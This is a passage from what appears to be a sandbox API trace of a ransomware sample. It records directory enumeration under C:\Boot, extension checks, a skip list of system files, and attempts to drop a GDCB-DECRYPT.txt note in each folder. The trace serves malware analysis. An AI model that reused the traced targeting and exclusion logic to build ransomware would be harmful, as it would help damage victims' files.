(lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0135.182] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.182] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.182] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.182] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.182] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0135.182] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0135.182] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="da-DK" | out: lpString1="C:\\Boot\\da-DK") returned="C:\\Boot\\da-DK" [0135.182] lstrcatW (in: lpString1="C:\\Boot\\da-DK", lpString2="\\" | out: lpString1="C:\\Boot\\da-DK\\") returned="C:\\Boot\\da-DK\\" [0135.182] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.182] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.182] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.182] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.182] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.182] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.183] lstrlenW (lpString="C:\\Boot\\da-DK\\") returned 14 [0135.183] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="*" | out: lpString1="C:\\Boot\\da-DK\\*") returned="C:\\Boot\\da-DK\\*" [0135.183] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7900 [0135.183] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.183] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.183] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.183] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.183] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.183] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.183] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.183] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned="C:\\Boot\\da-DK\\bootmgr.exe.mui" [0135.183] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0135.183] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.183] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.183] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.183] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.183] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt" [0135.183] lstrlenW (lpString="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned 30 [0135.183] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.183] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.183] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.183] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.183] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\da-DK\\memtest.exe.mui") returned="C:\\Boot\\da-DK\\memtest.exe.mui" [0135.183] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0135.183] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.183] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.183] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.183] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.183] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\da-DK\\\\GDCB-DECRYPT.txt") returned 31 [0135.184] CreateFileW (lpFileName="C:\\Boot\\da-DK\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\da-dk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.184] GetLastError () returned 0x50 [0135.184] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.184] lstrlenW (lpString="C:\\Boot\\da-DK\\") returned 14 [0135.184] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="*" | out: lpString1="C:\\Boot\\da-DK\\*") returned="C:\\Boot\\da-DK\\*" [0135.184] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7500 [0135.184] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.184] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.184] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.184] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.184] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.184] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.184] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.184] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned="C:\\Boot\\da-DK\\bootmgr.exe.mui" [0135.184] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.185] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0135.185] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0135.185] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.185] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.185] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.185] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.185] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt" [0135.185] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.185] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned 30 [0135.185] lstrlenW (lpString="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned 30 [0135.185] lstrlenW (lpString="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned 30 [0135.185] lstrlenW (lpString="C:\\Boot\\da-DK\\GDCB-DECRYPT.txt") returned 30 [0135.185] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.185] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.185] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.185] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.185] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.185] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.185] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.185] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.185] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.185] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.185] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.185] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.185] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.185] lstrcatW (in: lpString1="C:\\Boot\\da-DK\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\da-DK\\memtest.exe.mui") returned="C:\\Boot\\da-DK\\memtest.exe.mui" [0135.185] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.186] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0135.186] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0135.186] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.186] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.186] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.186] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.186] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0135.186] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0135.186] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="de-DE" | out: lpString1="C:\\Boot\\de-DE") returned="C:\\Boot\\de-DE" [0135.186] lstrcatW (in: lpString1="C:\\Boot\\de-DE", lpString2="\\" | out: lpString1="C:\\Boot\\de-DE\\") returned="C:\\Boot\\de-DE\\" [0135.186] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.186] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.186] lstrlenW (lpString="C:\\Boot\\de-DE\\") returned 14 [0135.186] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="*" | out: lpString1="C:\\Boot\\de-DE\\*") returned="C:\\Boot\\de-DE\\*" [0135.186] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7500 [0135.187] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.187] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.187] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.187] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.187] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.187] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.187] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.187] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned="C:\\Boot\\de-DE\\bootmgr.exe.mui" [0135.187] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0135.187] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.187] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.187] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.187] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.187] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt" [0135.187] lstrlenW (lpString="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned 30 [0135.187] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.187] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.187] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.187] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.187] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\de-DE\\memtest.exe.mui") returned="C:\\Boot\\de-DE\\memtest.exe.mui" [0135.187] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0135.187] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.187] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.187] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.187] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.187] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\de-DE\\\\GDCB-DECRYPT.txt") returned 31 [0135.187] CreateFileW (lpFileName="C:\\Boot\\de-DE\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\de-de\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.188] GetLastError () returned 0x50 [0135.188] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.188] lstrlenW (lpString="C:\\Boot\\de-DE\\") returned 14 [0135.188] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="*" | out: lpString1="C:\\Boot\\de-DE\\*") returned="C:\\Boot\\de-DE\\*" [0135.188] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7600 [0135.188] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.188] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.188] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.188] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.188] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.188] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.188] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.188] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned="C:\\Boot\\de-DE\\bootmgr.exe.mui" [0135.188] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.188] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0135.188] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0135.189] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.189] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.189] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.189] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.189] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt" [0135.189] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.189] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned 30 [0135.189] lstrlenW (lpString="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned 30 [0135.189] lstrlenW (lpString="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned 30 [0135.189] lstrlenW (lpString="C:\\Boot\\de-DE\\GDCB-DECRYPT.txt") returned 30 [0135.189] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.189] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.189] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.189] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.189] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.189] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.189] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.189] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.189] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.189] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.189] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.189] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.189] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.189] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\de-DE\\memtest.exe.mui") returned="C:\\Boot\\de-DE\\memtest.exe.mui" [0135.189] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.189] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0135.189] lstrlenW (lpString="C:\\Boot\\de-DE\\memtest.exe.mui") returned 29 [0135.190] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.190] FindNextFileW (in: hFindFile=0x2c7600, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.190] FindClose (in: hFindFile=0x2c7600 | out: hFindFile=0x2c7600) returned 1 [0135.190] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.190] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0135.190] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0135.190] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="el-GR" | out: lpString1="C:\\Boot\\el-GR") returned="C:\\Boot\\el-GR" [0135.190] lstrcatW (in: lpString1="C:\\Boot\\el-GR", lpString2="\\" | out: lpString1="C:\\Boot\\el-GR\\") returned="C:\\Boot\\el-GR\\" [0135.190] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.190] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.190] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.190] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.190] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.190] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.190] lstrlenW (lpString="C:\\Boot\\el-GR\\") returned 14 [0135.190] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="*" | out: lpString1="C:\\Boot\\el-GR\\*") returned="C:\\Boot\\el-GR\\*" [0135.190] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7500 [0135.191] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.191] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.191] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.191] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.191] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.191] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.191] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.191] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned="C:\\Boot\\el-GR\\bootmgr.exe.mui" [0135.191] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0135.191] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.191] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.191] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.191] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.191] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt" [0135.191] lstrlenW (lpString="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned 30 [0135.191] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.191] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.191] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.191] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.191] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\el-GR\\memtest.exe.mui") returned="C:\\Boot\\el-GR\\memtest.exe.mui" [0135.191] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0135.191] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.191] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.191] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.191] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.191] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\el-GR\\\\GDCB-DECRYPT.txt") returned 31 [0135.191] CreateFileW (lpFileName="C:\\Boot\\el-GR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\el-gr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.191] GetLastError () returned 0x50 [0135.191] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.192] lstrlenW (lpString="C:\\Boot\\el-GR\\") returned 14 [0135.192] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="*" | out: lpString1="C:\\Boot\\el-GR\\*") returned="C:\\Boot\\el-GR\\*" [0135.192] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7780 [0135.192] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.192] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.192] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.192] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.192] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.192] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.192] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.192] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned="C:\\Boot\\el-GR\\bootmgr.exe.mui" [0135.192] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.192] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0135.192] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0135.192] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.192] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.192] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.192] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.192] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt" [0135.192] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.193] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned 30 [0135.193] lstrlenW (lpString="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned 30 [0135.193] lstrlenW 